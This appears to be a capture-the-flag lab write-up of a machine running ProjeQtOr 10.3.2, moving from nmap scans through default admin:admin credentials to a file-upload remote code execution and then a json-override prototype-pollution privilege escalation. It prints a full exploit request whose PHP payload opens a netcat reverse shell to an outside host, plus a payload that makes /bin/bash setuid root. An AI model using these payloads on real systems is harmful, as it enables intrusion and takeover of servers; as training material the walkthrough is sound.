Host entries
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10.0.160.232
Content
- Default Credentials
- ProjeQtOr Project Management System 10.3.2 - Remote Code Execution (RCE)
- json-override Prototype Pollution
Reconnaissance
Initial reconnaissance for TCP ports
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nmap -p- -sS --open --min-rate 500 -Pn -n -vvvv -oG allPorts 10.0.160.232
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.0.160.232 () Status: Up
Host: 10.0.160.232 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
Services and Versions running:
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nmap -p22,80 -sCV -n -Pn -vvvv -oN targeted 10.0.160.231
Nmap scan report for 10.0.160.231
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-24 19:56:59 EST for 41s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 bb:8b:4a:b8:d8:62:4d:cb:59:4a:c7:7c:43:0c:7d:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRQzh/YlEJzovVge+51kZ1Mx5xft/0I/1RPWVmuZuJs
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.61 ((Debian))
|_http-title: Echo Phoenix
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
|_http-server-header: Apache/2.4.61 (Debian)
Exploitation
There is a Web Service running on port 80 called ProjeQtOr looking for exploits on it, we identified the following ProjeQtOr Project Management System 10.3.2 - Remote Code Execution (RCE), but the exploit requires authentication, I then tried to login using Default Credentials, and I got the pair admin:admin, with this, we can execute the script which is an OS Command Injection vulnerability, using the following POST request:
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POST /tool/saveAttachment.php?csrfToken= HTTP/1.1
Host: localhost
Content-Length: 1206
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/projeqtor/view/main.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=89ce98he4mk9p23ou29ul08bod
Connection: close
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"
Content-Type: application/octet-stream
<?php echo system("nc -e /bin/bash 10.10.5.122 1234"); ?>
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentId"
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentRefType"
User
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentRefId"
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------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentType"
file
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="MAX_FILE_SIZE"
10485760
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentLink"
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentDescription"
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentPrivacy"
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------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="uploadType"
html5
------WebKitFormBoundaryY0bpJaQzcvQberWR--
Then all we need to do is go to the location where it is uploaded, consider that every attached file will add 1 to the URI count attachment_3, if we upload another file then the URL to get the file will be attachment_4 and so on:
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http://10.0.160.232/files/attach/attachment_3/miri.phar
Privilege Escalation
For the Privilege Escalation I then proceed to execute the command sudo -l and I can execute a script as user root without password:
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www-data@proverrider:/var/www/html/files/attach/attachment_3$ sudo -l
Matching Defaults entries for www-data on proverrider:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on proverrider:
(ALL : ALL) NOPASSWD: /usr/local/bin/overrider
Its content is like this:
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#! /usr/bin/env node
var args = process.argv.slice(2);
(async () => {
const lib = await import('json-override');
const { exec } = await import('child_process');
var defaults = JSON.parse(args[0]);
var user = {}
try {
lib.default ({}, defaults)
} catch (e) { }
if(user.is_admin==true)
{
exec(user.cmd);
}
})();
As usual, the vulnerability relays on the imported library, in this case json-override, there is a vulnerability reported as Prototype Pollution in json-override, after reading the article and with the aid of DeepSeek I came with the following payload:
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www-data@proverrider:/var/www/html/files/attach/attachment_3$ echo '{"__proto__": {"is_admin": true, "cmd": "chmod +s /bin/bash"}}' > payload.json
www-data@proverrider:/var/www/html/files/attach/attachment_3$ sudo /usr/local/bin/overrider "$(cat payload.json)"www-data@proverrider:/var/www/html/files/attach/attachment_3$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 23 2023 /bin/bash
And we ARE INSIDEEEE!!!
Post Exploitation
Flags are stored at:
/etc/passwd /etc/shadow environment variables (env command) /root
Credentials
- Credentials identified for ProjeQtOr CMS are
admin:admin
Notes
- No fancy tricks here, all you need to search for is a good exploitation and default credentials.